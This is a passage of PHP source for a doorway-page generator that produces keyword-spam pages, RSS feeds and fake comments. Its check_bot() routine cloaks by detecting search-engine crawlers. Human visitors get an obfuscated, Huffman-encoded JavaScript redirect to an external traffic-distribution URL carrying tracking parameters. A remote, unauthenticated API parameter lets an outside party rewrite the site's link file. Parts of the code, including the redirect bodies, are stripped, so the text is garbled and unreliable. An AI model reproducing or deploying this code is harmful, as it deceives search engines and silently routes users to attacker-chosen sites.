[Key]', '[Key]', '[Key]', '[Key]', '[Key]' ); $c_check = count($check); $rss=' [Key_main] News [Main_url] [Key_main] en-us [Date] [Key_pag] [Url] [Content] [Date] '; $RB=array(); $VBN=array(); $KEYS=array(); $JJ=array(); $JJR=array(); $TMPL=array(); $NN=array(); $VBG=array(); //$LNKS=array(); $WC=array(); $NNS=array(); $NAMES=array(); $VB=array(); $CL =array(); $config = parse_ini_file('config'); if(isset($_GET['api'])) { switch($_GET['api']) { case 'NewLinks' : relink(); break; case 'GetLinks' : get_links(); break; case 'DeleteLinks' : del_links();break; } exit; } // Start doorgen if(function_exists('date_default_timezone_set')) date_default_timezone_set('Europe/London'); $Images = glob("*img_*"); $tm = localtime(time(),true); $rn = $tm['tm_mday']; $id = isset($_GET['page']) ? $_GET['page'] : 'home' ; $gnum = strlen($id); open_dict(); $c_RB=count($RB); $c_NNS=count($NNS); $c_TMPL=count($TMPL); $c_NN=count($NN); $c_VBG=count($VBG); $c_KEYS=count($KEYS); $c_JJ=count($JJ); $c_JJR=count($JJR); $c_IM=count($Images); $c_WC=count($WC); $c_VBN=count($VBN); $c_CL=count($CL); $c_VB=count($VB); for($i=0;$i<$c_KEYS;$i++) $NAMES[$i] = str_replace(' ','-', $KEYS[$i]); switch($id) { case 'home' : mk_tmpl($index); break; case 'map' : mk_tmpl($map); break; case 'rss' : mk_rss(); break; default : $fnd=0; $id2 = str_replace('-', ' ', $id); foreach($KEYS as $key => $k_num) if($id2==$k_num) { $k=$key; $fnd=1; break; } if($fnd==1) mk_tmpl($template); else header('Location: http://'.$config['dms'].$config['path'].'/index.php', TRUE, 302); } function str_1replace($f, $t, $s) { $f=preg_quote($f, '/'); return preg_replace("/$f/is", $t, $s, 1); } function open_dict() { global $RB,$NN,$NNS,$VB,$VBN,$VBG,$JJ,$JJR,$WC,$TMPL,$KEYS, $CL,//$LNKS, $template,$map,$index,$redirect,$config,$id; if($f= fopen($config['datafile'], 'r')) { while(1){ $s = trim(fgets($f)); if( $s == ':::RB:::') break; $RB[]=$s; } while(1) { $s = trim(fgets($f)); if( $s == ':::NN:::') break; $NN[]=$s; } while(1){ $s = trim(fgets($f)); if( $s == ':::NNS:::') break; $NNS[]=$s; } while(1){ $s = trim(fgets($f)); if( $s == ':::VB:::') break; $VB[]=$s; } while(1){ $s = trim(fgets($f)); if( $s == ':::VBN:::') break; $VBN[]=$s; } while(1){ $s = trim(fgets($f)); if( $s == ':::VBG:::') break; $VBG[]=$s; } while(1){ $s = trim(fgets($f)); if( $s == ':::JJ:::') break; $JJ[]=$s; } while(1){ $s = trim(fgets($f)); if( $s == ':::JJR:::') break; $JJR[]=$s; } while(1){ $s = trim(fgets($f)); if( $s == ':::WC:::') break; $WC[]=$s; } while(1){ $s = trim(fgets($f)); if( $s == ':::TMPL:::') break; $TMPL[]=$s; } while(1){ $s = trim(fgets($f)); if( $s == ':::KEYS:::') break; $KEYS[]=$s; } if($id!='home' and $id!='rss' and $id!='version') while(1){ $s = fgets($f); if( $s == ":::page:::\n") break; $template.=$s; } else while(1){ $s = fgets($f); if( $s == ":::page:::\n") break; } if($id=='map') while(1){ $s = fgets($f); if( $s == ":::map:::\n") break; $map.=$s; } else while(1){ $s = fgets($f); if( $s == ":::map:::\n") break; } if($id=='home') while(!feof($f)){ $s = fgets($f); if( $s == ":::index:::\n") break; $index.=$s; } else while(1){ $s = fgets($f); if( $s == ":::index:::\n") break; } while(!feof($f)){ $CL[] = trim(fgets($f)); } $CL=array_unique($CL); } fclose($f); } function check_($k) { global $check, $c_check; return str_replace('', '', str_replace('', '', str_replace('', '', str_replace('', '', $check[$k%$c_check]) ) ) ); } function check_kw($k) { global $KEYS; return str_replace('[Key]', $KEYS[$k], check_($k)); } function check_lnk($r) { global $KEYS, $NAMES, $config; return str_replace('[Key]', ''.$KEYS[$r].'', check_($r)); } function check_wc($k) { global $WC; return str_replace('[Key]', $WC[$k%$c_WC], check_($k)); } function gen_text($mod, $nu, $wc_nu, $count) { $text = ''; global $TMPL,$KEYS,$config,$WC,$RB,$NN,$NNS,$VB,$VBN,$VBG,$JJ,$JJR,$k,$c_KEYS,$check_wc,$gnum,$NAMES,$rn, $c_RB,$c_NNS,$c_TMPL,$c_NN,$c_VBG,$c_KEYS,$c_JJ,$c_JJR,$c_WC,$c_VBN,$c_VB,$c_IM; //$c_LNKS if($k==0) $k=13; for($i=1; $i <=$count; $i++) { $modr = abs($rn*($k+1)*($i+3)+(++$gnum)); $stmpl = $TMPL[$modr%$c_TMPL]; if(($i % $nu) == 0) $stmpl = str_replace('[NN]', '[KW]', $stmpl); if(($i % $wc_nu) == 0) $stmpl = str_replace('[NN]','[WC]',$stmpl); $words = split("[\ ]+", $stmpl); $c_word=count($words)-1; if ($c_word<3) continue; for($key=0; $key<$c_word; $key++) { $xidx = abs($modr*($key+4)/100*++$gnum)%3000; if($mod == 'S') $words[$key] = str_1replace('[KW]',check_kw($k), $words[$key]); elseif($mod == 'L') { $r =(($k+1)*($i+1))%$c_KEYS; $link = ''.$KEYS[$r].''; $words[$key] = str_1replace('[KW]',check_lnk($r), $words[$key]); } if ($check_wc) $words[$key] = str_1replace('[WC]', check_wc(($k+1)*($i+1)), $words[$key]); else $words[$key] = str_1replace('[WC]',$WC[(($k+1)*($i+1))%$c_WC], $words[$key]); $words[$key] = str_1replace('[RB]',$RB[$xidx%$c_RB], $words[$key]); $words[$key] = str_1replace('[NN]',$NN[$xidx%$c_NN], $words[$key]); $words[$key] = str_1replace('[NNS]',$NNS[$xidx%$c_NNS], $words[$key]); $words[$key] = str_1replace('[VB]',$VB[$xidx%$c_VB], $words[$key]); $words[$key] = str_1replace('[VBN]',$VBN[$xidx%$c_VBN], $words[$key]); $words[$key] = str_1replace('[VBG]',$VBG[$xidx%$c_VBG], $words[$key]); $words[$key] = str_1replace('[JJ]',$JJ[$xidx%$c_JJ], $words[$key]); $words[$key] = str_1replace('[JJR]',$JJR[$xidx%$c_JJR], $words[$key]); } $text.= trim(ucfirst(strtolower(join(' ',$words)))); } return preg_replace("/\s*([\.\,\!\?])\s*/", "$1 ", $text); } function mk_tmpl($template) { global $k, $gnum, $KEYS, $c_KEYS, $NAMES, $redirect, $config, $rn, $c_IM, $Images; // $LNKS, preg_match_all("/\[For\.\.\d+-\d+\].*?\[EndFor\]/si", $template, $mcrs); foreach($mcrs[0] as $mcr) { preg_match("/(\d+)-(\d+)/",$mcr,$range); $template = str_1replace($mcr,str_repeat($mcr,(10001-$k+(++$gnum))%($range[2]-$range[1])+$range[1]),$template); } preg_match_all("/\[Rword:.*?:\]/si", $template, $mcrs); foreach($mcrs[0] as $mcr) { $ws = split(":+",$mcr); $ws = array_slice($ws,1,count($ws)-2); $template = str_1replace($mcr,$ws[(++$gnum*$k)%count($ws)],$template); } $uh = array(); $template = preg_replace_callback("/\[COMMENT]/",'make_comment', $template); preg_match_all("/\[Date_.+?\]/si",$template,$mcrs); foreach($mcrs[0] as $mcr) { preg_match("/_(.+)\]/",$mcr,$tmp); $template = str_1replace($mcr,strftime($tmp[1],(time() -((100000*$k*++$gnum+$gnum) % 5184000))),$template); } preg_match_all("/\[Rndf_\d+_\d+\]/si",$template,$mcrs); foreach($mcrs[0] as $mcr) { preg_match("/(\d+)_(\d+)/",$mcr,$range); $template = str_1replace($mcr,(++$gnum*$k)%($range[2]-$range[1])+$range[1],$template); } preg_match_all("/\[Links_pag_\d+_.*?\]/si",$template,$mcrs); foreach($mcrs[0] as $key => $mcr) { $link = ''; preg_match("/(\d+)_(.*?)\]/",$mcr,$cs); for($i=1; $i<=min($cs[1], $c_KEYS); $i++) { $r =(($k+1)*$i*($key+1)+(++$gnum))%$c_KEYS; $link.=''.ucfirst($KEYS[$r]).''.$cs[2]; } if(strlen($link)>2) {$template = str_1replace($mcr,$link,$template);} } preg_match_all("/\[[A-Z]Content_\d+_\d+\]/si",$template,$mcrs); foreach($mcrs[0] as $mcr) { preg_match("/([A-Z])Content_(\d+)_(\d+)/",$mcr,$tmp); $template = str_1replace($mcr, gen_text($tmp[1],$tmp[3],10,$tmp[2]),$template); } preg_match_all("/\[Map_.*?\]/si",$template,$mcrs); foreach($mcrs[0] as $mcr) { $map=''; preg_match("/_(.*?)\]/",$mcr,$tmp); for($i=0;$i<$c_KEYS;$i++) $map.=''.ucfirst($KEYS[$i]).''.$tmp[1]; $template = str_1replace($mcr, $map ,$template); } preg_match_all("/\[[A-Z]Keys_\d+_.*?\]/si",$template,$mcrs); foreach($mcrs[0] as $key => $mcr) { preg_match("/\d+_.*?]/",$mcr,$tmp); $cs = split("_", $tmp[0]); $cs[1] = str_replace("]", '', $cs[1]); preg_match("/[A-Z]/",$mcr,$tmp); $mod = $tmp[0]; $keystr = ''; for($i=1; $i $mcr) { $template = str_1replace( $mcr, '', $template); } } $template = str_replace('[Key_pag]',ucfirst($KEYS[$k]),$template); $template = str_replace('[Key_main]',ucfirst($KEYS[0]),$template); $template = str_replace('[Link_index]', 'Home',$template); $template = str_replace('[Link_map]', 'Map',$template); $template = preg_replace("/\[.*?\]/", '', $template); if(check_bot()) { $config['doorhash'] = $redirect = ''; } else { $params = '&tds-k=' .urlencode($KEYS[$k]). '&tid=' .$config['task_id']. '&tmpl=' .$config['tmpl']. '&dm=' .$config['dms']. '&dct=' .$config['dict']. '&q2=' .$config['topic']. '&q=' .$config['subtopic']; $ttype = substr($config['tmpl'],0,2); switch ($ttype) { case 'kl': $template = str_replace( '__REDIRECT__', CompressCode(Redirect_KL($config['redirect_url'], $params), $k), $template ); break; case 'ag': $alpha = 'qazwsedcrfvtgbyhnujmikikolpQAZWSXEDCRFVTGBYHNUJMIKOLP'; $al = strlen($alpha); $H=$T=''; for ($k=0;$k<6;$k++) { $H .= $alpha[($k+1)*$k%$al]; $T .= $alpha[$k*$k%$al]; } if ($H == $T) $T.='x'; $template = str_replace( '__AGREDIRECT__', CompressCode(Redirect_AG($config['redirect_url'], $params, $H, $T), $k), $template ); $template = str_replace('__AGREDIRECT_CALL__',$H.'()', $template); $template = str_replace('__AGREDIRECT_EXIT__',$T.'()', $template); break; default : $template = str_replace( '__REDIRECT__', CompressCode(Redirect_SR($config['redirect_url'], $params), $k), $template ); break; } } $template = str_replace('__DOORHASH__',$config['doorhash'], $template); echo str_replace('rss.xml', './index.php?page=rss', $template); } function mk_rss() { global $rss, $c_KEYS, $KEYS, $lk_tmpl, $config, $gnum, $c_KEYS; preg_match("/.*?<\/item>/si",$rss,$tmp); $t_items = $tmp[0]; $items = ''; $door_base_path=$config['path']; $c_rss=min(200,$c_KEYS); $day=strftime('%j'); $myday=strftime('%Y-%m-%d '); for($i=0; $i<$c_rss; $i++) { $skwd = $KEYS[($day+$i*($c_rss))%$c_KEYS]; $item = $t_items; $url = str_1replace('[Domain]',$config['dms'],$lk_tmpl); $url = str_1replace('[Dir]', $door_base_path, $url); $url = str_1replace('[Page]','index.php?page='.str_replace(' ','-',$skwd), $url); $item = str_1replace('[Url]',$url, $item); $item = str_1replace('[Key_pag]',ucfirst($skwd), $item); $rss_content = preg_replace("/<.*?>/", '', trim(gen_text('',2,4,2))) ; $rss_content = preg_replace("/\[.*?\]/", '', $rss_content); $item = str_replace('[Content]', $rss_content, $item); $item = str_replace('[Date]', $myday, $item); $items.= "\n".$item."\n"; } $m_url = str_1replace('[Domain]',$config['dms'], $lk_tmpl); $m_url = str_1replace('[Dir]', $door_base_path, $m_url); $m_url = str_1replace('[Page]','index.php', $m_url); $rss = str_replace($t_items, $items, $rss); $rss = str_replace('[Main_url]',$m_url, $rss); $rss = str_replace('[Key_main]',ucfirst($KEYS[0]), $rss); echo str_replace('[Date]', $myday, $rss); } function check_bot() { $bots = array( 'google','cuil','yahoo','yandex','alexa','crawler', 'scoutjet','rambler','twiceler','Slurp','ia_archiver', 'obot','igde','snap','bsalsa','yadirect','msnbot', 'msn.com','SnapPreviewBot','ru_spider_web','majestic', 'bot','bond', 'spyder', 'spider' ); $host = $_SERVER['REMOTE_ADDR']; if(ereg("^[0-9\.]$", $host)) $host=gethostbyaddr($host); $test = array( $_SERVER['HTTP_USER_AGENT'], $host, getenv('HTTP_CLIENTIP'), urldecode(getenv('HTTP_CLIENTIP')), getenv('HTTP_X_FORWARDED_FOR'), getenv('HTTP_X_FORWARDED'), getenv('HTTP_FORWARDED_FOR'), getenv('HTTP_FORWARDED'), ); foreach($test as $t) foreach($bots as $bot) if( eregi("$bot", $t) ) return 1; return 0; } function test_door() { $a = array( 'array_slice', 'basename', 'count', 'date', 'ereg_replace', 'fclose', 'feof', 'fgets', 'file_exists', 'fopen', 'fwrite', 'fopen', 'header', 'strlen','join', 'localtime', 'min', 'move_uploaded_file', 'preg_match', 'preg_match_all', 'preg_quote', 'preg_replace', 'print_r', 'shuffle', 'split', 'stat', 'str_repeat', 'str_replace', 'strftime', 'strlen', 'strpos', 'strtolower', 'substr', 'time', 'trim', 'ucfirst', 'urlencode', 'ini_get' ); foreach($a as $b) if(!function_exists($b)) bug_found(1,'hz',1); $mem=ini_get('memory_limit'); if(!$mem) bug_found(); switch($mem[strlen($mem)-1]) { case 'G' : $m=$mem*1024*1024*1024; case 'M' : $m=$mem*1024*1024; case 'K' : $m=$mem*1024; } if($m<8192) bug_found(1,'hz',1); } function bug_found($errno, $errstr, $errfile, $errline) { echo join(':', array('DD_BUG',$errno,$errline,$errstr)); exit; } function relink() { global $config; global $config; if(($f=fopen($config['datafile'], 'r+')) and isset($_GET['urls'])) { while(!feof($f)){ $s = trim(fgets($f)); if( $s == ':::index:::') break; } ftruncate($f,ftell($f)); foreach(split(";", $_GET['urls']) as $u) fwrite($f, $u."\n"); fclose($f); } } function make_comment($m) { global $urls, $CL; $U = array(); foreach ($CL as $u) { $U[]=$u; } $newpost = new_post($U); if ($newpost) return ' Comments: '. $newpost. ' '; } function new_post($U) { global $rn, $k, $gnum; $count = count($U); for ($post='',$i=0;$i<$count;$i++) { $uu = split(":", $U[$i]); $modr = abs($rn*($k+1)*$i+(++$gnum))*111; if (count($uu)!=2 || ($modr%100)<90) continue; $post .= ' '. $uu[0].': [Date_%m/%Y]'. gen_text('L', 2, 4, $k%3+1). ' '; } return $post; } function BitsToBytes($i) { $o=42; $d=0x40; $l=strlen($i); for ($k=0;$k<$l;$k++) { $d/=2; $i[$k] == 1 and $o+=$d; } if ($o>=92) ++$o; return chr($o); } function CompressCode($ov, $modr) { if (!$modr) $modr=123; $alpha = 'qazwsedcrfvtgbyhnujmikikolpQAZWSXEDCRFVTGBYHNUJMIKOLP'; $al = strlen($alpha); $V = array(); $abB='abBcdeiloyY'; $labB=strlen($abB); for ($i=0;$i<$labB; $i++) $V[$abB[$i]]=''; for ($i=0;$i<$labB; $i++) for ($k=0;$k<6;$k++) $V[$abB[$i]] .= $alpha[$modr*($k+$i)%$al]; for ($i=0;$i<$labB; $i++) for ($j=$i;$j<$labB; $j++) if ($V[$abB[$i]] == $V[$abB[$j]] and $i!=$j) $V[$abB[$i]].='x'; $Letters=array_fill(0,255,0); $LetterCodes=array_fill(0,255,0); $l_ov = strlen($ov); for ($i=0;$i<$l_ov;$i++) ++$Letters[ord($ov[$i])]; $NextParent=0; $SmallestNode1=0; $SmallestNode2=1; $NodeLetter=array_fill(0,511,0); $NodeCount=array_fill(0,511,0); $NodeChild1=array_fill(0,511,0); $NodeChild2=array_fill(0,511,0); for($i=0;$i<255; $i++) { if ($Letters[$i]>0) { $NodeLetter[$NextParent] = $i; $NodeCount[$NextParent] = $Letters[$i]; $NodeChild1[$NextParent] = -1; $NodeChild2[$NextParent++] = -1; } } while ($SmallestNode2 != -1) { $SmallestNode2 = $SmallestNode1 = -1; for($i=0;$i<$NextParent;$i++) { if ($NodeCount[$i] > 0) { if ($SmallestNode1 == -1) $SmallestNode1=$i; elseif ($SmallestNode2 == -1) { if ($NodeCount[$i] < $NodeCount[$SmallestNode1]) { $SmallestNode2 = $SmallestNode1; $SmallestNode1 = $i; } else $SmallestNode2 = $i; } elseif ($NodeCount[$i] <= $NodeCount[$SmallestNode1]) { $SmallestNode2 = $SmallestNode1; $SmallestNode1 = $i; } } } if ($SmallestNode2 != -1) { $NodeCount[$NextParent] = $NodeCount[$SmallestNode1]+$NodeCount[$SmallestNode2]; $NodeCount[$SmallestNode1] = $NodeCount[$SmallestNode2] = 0; $NodeChild1[$NextParent] = $SmallestNode2; $NodeChild2[$NextParent++] = $SmallestNode1; } } $Depth=$NextFinal=$idx=0; $FinalNodes=array_fill(0,$NextParent-1,0); $DepthIndex=array_fill(0,255,0); $DepthIndex[0] = $SmallestNode1; while ($Depth >= 0) { if ($NodeChild1[$DepthIndex[$Depth]] > -1 and $NodeChild2[$DepthIndex[$Depth]] > -1){ $idx = $NodeChild1[$DepthIndex[$Depth]]; $NodeChild1[$DepthIndex[$Depth]] = -2 - $NextFinal++; $DepthIndex[++$Depth] = $idx; } elseif ($NodeChild1[$DepthIndex[$Depth]] < 0 and $NodeChild2[$DepthIndex[$Depth]] > -1) { $idx = $NodeChild1[$DepthIndex[$Depth]]; $idx = 0 - $idx; $idx-=2; $FinalNodes[$idx] = -$NextFinal; $idx = $NodeChild2[$DepthIndex[$Depth]]; $NodeChild2[$DepthIndex[$Depth]] = -2; $DepthIndex[++$Depth] = $idx; } elseif ($NodeChild1[$DepthIndex[$Depth]] < -1 and $NodeChild2[$DepthIndex[$Depth]] < -1) --$Depth; elseif ($NodeChild1[$DepthIndex[$Depth]] == -1 and $NodeChild2[$DepthIndex[$Depth]] == -1) $FinalNodes[$NextFinal++] = $NodeLetter[$DepthIndex[$Depth--]]; else { echo 'ERROR'; return; } } $CodeIndex=array_fill(0,255,0); $Depth = $DepthIndex[0] = 0; $c = $CodeIndex[0] = ''; while ($Depth >= 0) { if ($FinalNodes[$DepthIndex[$Depth]] < 0) { $c = $CodeIndex[$Depth]; $idx = $DepthIndex[$Depth]; $DepthIndex[$Depth + 1] = $DepthIndex[$Depth] + 1; $CodeIndex[$Depth + 1] = $c . '0'; $DepthIndex[$Depth] = 0 - $FinalNodes[$idx]; $CodeIndex[$Depth] = $c . '1'; $Depth ++; } else { $LetterCodes[$FinalNodes[$DepthIndex[$Depth]]] = $CodeIndex[$Depth]; $Depth --; } } $bits=$bytes=''; for ($i=0;$i<$l_ov;$i++) { $bits .= $LetterCodes[ord($ov[$i])]; while (strlen($bits) > 5) { $bytes .= BitsToBytes($bits); $bits = substr($bits,6,strlen($bits)); } } $bytes .= BitsToBytes($bits); $S = " '; return $S; } function Redirect_KL($u, $o) { return ' '; } function Redirect_SR($u, $o) { return ' '; } function Redirect_AG($u, $o, $H, $T) { return ' '; } function get_links() { global $config; if($f= fopen($config['datafile'], 'r')) { while(1){ $s = trim(fgets($f)); if( $s == ':::index:::') break; } while (!feof($f)) { $s = trim(fgets($f)); if ($s) echo 'link_',$s,"\n"; } } fclose($f); } ?>
'. gen_text('L', 2, 4, $k%3+1). '